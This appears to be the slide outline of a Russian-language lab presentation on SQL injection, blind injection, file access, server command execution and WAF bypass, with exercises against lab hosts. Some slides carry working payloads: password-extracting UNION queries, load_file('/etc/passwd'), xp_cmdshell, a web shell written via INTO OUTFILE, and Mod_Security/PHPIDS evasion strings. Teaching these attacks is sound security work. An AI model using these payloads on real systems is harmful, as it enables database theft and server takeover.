Содержание
- 2. План лабораторной работы Введение в тему безопасности Web-приложений Классическая техника эксплуатации уязвимости внедрение операторов SQL (SQL
- 3. Введение в тему безопасности Web-приложений
- 4. Опасный мир Web-приложений По данным компании Positive Technologies за 2008 год 83% сайтов содержат критические уязвимости
- 5. Опасный мир Web-приложений: статистика за 2008 г.
- 6. Часть 1: Уязвимость типа внедрение операторов SQL Классическая техника эксплуатации уязвимости «Внедрение операторов SQL» (SQL Injection)
- 7. Наглядный пример внедрения операторов SQL Web-сервер СУБД http://web/?id=6329&print=Y …. SELECT * from news where id =
- 8. Наглядный пример внедрения операторов SQL Web-сервер СУБД http://web/?id=6329+union+select+id,pwd,0+from... …. SELECT * from news where id =
- 9. SQL Injection – Базовые знания "Внедрение операторов SQL" Способ нападения на базу данных в обход межсетевой
- 10. SQL Injection – Базовые знания Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и
- 11. SQL Injection – Базовые знания Анатомия SQL-инъекций SQL-инъекция может эксплуатироваться как в момент проведения атаки, так
- 12. SQL Injection – Базовые знания Способы обнаружения SQL-инъекций Тестирование функций (black/white-box) Фаззинг (fuzzing) Статический/динамический/ручной анализ исходного
- 13. SQL Injection – Классическая эксплуатация (MySQL) Обнаружение уязвимости /?id=1+ORDER+BY+100 SQL запрос примет вид SELECT id, name
- 14. SQL Injection – Различия СУБД Особенности эксплуатации для разных СУБД Пример (MySQL): SELECT * from table
- 15. SQL Injection – Эксплуатации для разных СУБД MySQL 4.1>= Первая запись /?id=1 union select name,123 from
- 16. Практическое занятие (1) http://X.X.X.X:80/ Обнаружить уязвимость типа SQL Injection; Обойти процедуру аутентификации; Получить список всех таблиц
- 17. Часть 2: Слепое внедрение операторов SQL Слепое внедрение операторов SQL (Blind SQL Injection)
- 18. Blind SQL Injection – Базовые знания "Слепое внедрение операторов SQL" Способ нападения на базу данных в
- 19. Blind SQL Injection – Базовые знания Способы обнаружения Blind SQL-инъекций http://site/?param=-1 OR 1=1 http://site/?param=-1 OR 1=1--
- 20. Blind SQL Injection – Классическая эксплуатация (MySQL) Подбор первого символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),1,1))=97,555,777)
- 21. Blind SQL Injection – Классическая эксплуатация (MySQL) Ускоряемся… Можно ограничить набор подбираемых символов. Например для MD5
- 22. Blind SQL Injection – Новые методы эксплуатации (MySQL) …и еще быстрее… За один запрос можно подбирать
- 23. Blind SQL Injection – Новые методы эксплуатации (MySQL) …на той же скорости… Как это работает? Используя
- 24. Blind SQL Injection – Новые методы эксплуатации (MySQL) …на той же скорости… Если подбирать MD5-хеш, то
- 25. Blind SQL Injection – Новые методы эксплуатации (MySQL) …на максимальных скоростях! На основе исследований Qwazar с
- 26. Blind SQL Injection – Новые методы эксплуатации (MySQL) Скоростной предел… Как быть, если сообщение об ошибке
- 27. Double Blind SQL Injection – Классическая эксплуатация (MySQL) Тише едешь, дальше будешь;) Эксплуатация уязвимости Double Blind
- 28. Практическое занятие (2) http://X.X.X.X:81/ Используя одинарную кавычку, найти уязвимость типа Blind SQL Injection; Используя технику работы
- 29. Часть 3: Работа с файловой системой Работа с файловой системой при эксплуатации уязвимости SQL Injection
- 30. Работа с файловой системой Общая архитектура работы с файловой системой через SQL Injection uid=80(www) gid=80(www) Если
- 31. Работа с файловой системой – Различия СУБД Пример для MSSQL: CREATE TABLE mydata (line varchar(8000)); BULK
- 32. Работа с файловой системой Пример для MySQL LOAD_FILE union select load_file('/etc/passwd') LOAD DATA INFILE create table
- 33. Практическое занятие (3) http://X.X.X.X:8080/ Прочитать файл /etc/passwd; Узнать путь до корневого каталога web-сервера; Записать произвольную строку
- 34. Часть 4: Выполнение команд на сервере Выполнение команд на сервере при эксплуатации уязвимости SQL Injection
- 35. Выполнение команд на сервере – Различия СУБД Пример для MSSQL: EXEC xp_cmdshell 'ipconfig /all'; Для использования
- 36. Выполнение команд на сервере Пример для MySQL Запись web-shell в файл /www/img/shell.php /?id=1+union+select+' ' +into+outfile+'/www/img/shell.php' Выполнение
- 37. Практическое занятие (4) http://X.X.X.X:8080/ Создать web-shell в каталоге /usr/local/www/apache22 /data3/shells/; Воспользоваться созданным web-shell для выполнения команд
- 38. Часть 5: Методы обхода фильтров безопасности Методы обхода программных фильтров безопасности
- 39. Фильтры поступающих данных. Какие они бывают Прозрачные для Web-приложения magic_quotes_gpc, display_errors, etc mod_rewrite, ISAPI-фильтры, etc Встроенные
- 40. Методы обхода фильтров безопасности (1) Использовать кодированное передаваемых данных в приложение Строка «qwerty» может быть представлена
- 41. Методы обхода фильтров безопасности (2) Использовать представления отсутствующие в фильтре Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH() LOWER()
- 42. Методы обхода фильтров безопасности Пример по обходу сигнатур (обфускация запроса) Следующий запрос попадает в сигнатуру приложения
- 43. Методы обхода фильтров безопасности (3) Использовать null-byte для обхода бинарно-зависимых функций Пример: if(ereg ("^(.){1,3}$", $_GET['param'])) {
- 44. Методы обхода фильтров безопасности (4) Обход функции addslashes() Это возможно, если существует уязвимость, позволяющая установить кодировку
- 45. Методы обхода фильтров безопасности (5) Пример распространенной уязвимости в функциях фильтров безопасности Следующий запрос не позволяет
- 46. Практическое занятие (5) http://X.X.X.X:8585/ Найти уязвимость типа SQL Injection; Используя null-byte в начале запроса, получить все
- 47. Часть 6: Методы обхода Web Application Firewall Методы обхода Web Application Firewall (WAF)
- 48. Что такое WAF http://server/?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http://server/?id=5351 http://server/?id=8234 http://server/?id=“> ... http://server/?id=1+union+select... http://server/?id=/../../../etc/passwd Нормализация
- 49. Какие они бывают По режиму работы: Мост/Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты: Основанный на сигнатуре
- 50. Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы
- 51. Практика обхода WAF: SQL Injection - нормализация Пример уязвимости в функции нормализации запроса Следующий запрос не
- 52. Практика обхода WAF: SQL Injection – HPP (пример 1) Использование HTTP Parameter Pollution (HPP) Следующий запрос
- 53. Практика обхода WAF: HTTP Parameter Pollution (HPP)
- 54. Практика обхода WAF: HTTP Parameter Pollution (HPP)
- 55. Практика обхода WAF: SQL Injection – HPP (пример 2) Использование HTTP Parameter Pollution (HPP) Уязвимый код
- 56. Практика обхода WAF: SQL Injection – HPF Использование HTTP Parameter Fragmentation (HPF) Пример уязвимого кода Query("select
- 57. Практика обхода WAF: Blind SQL Injection Использование логических запросов AND и OR Следующий запрос для многих
- 58. Практика обхода WAF: Blind SQL Injection Известные: substring((select 'password'),1,1) = 0x70 substr((select 'password'),1,1) = 0x70 mid((select
- 59. Практика обхода WAF: Blind SQL Injection Blind SQL Injection – это не всегда использование AND и
- 60. Практика обхода WAF: SQL Injection – PHPIDS PHPIDS (0.6.1.1) Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1 Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1 Ругается
- 61. Практика обхода WAF: SQL Injection – Mod_Security Mod_Security (2.5.9) Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74 Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Ругается
- 62. Практическое занятие (6) http://X.X.X.X:9191/ Найти уязвимый сценарий для проведения атаки методом HPF; Используя технику HPF, получить
- 63. Резюме лабораторной работы
- 64. SQL Injection в «живой природе» SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах
- 65. Резюме SQL Injection – это грубая ошибка в программировании, широко распространенная и крайне опасная WAF –
- 66. Автоматизированная эксплуатация SQL Injection sqlmap (http://sqlmap.sourceforge.net/) Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server Частичная
- 67. Дополнительные материалы и ссылки WASC: http://projects.webappsec.org/SQL-Injection OWASP: http://www.owasp.org/index.php/SQL_Injection Ресурсы Securitylab: http://www.securitylab.ru/ Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
- 69. Скачать презентацию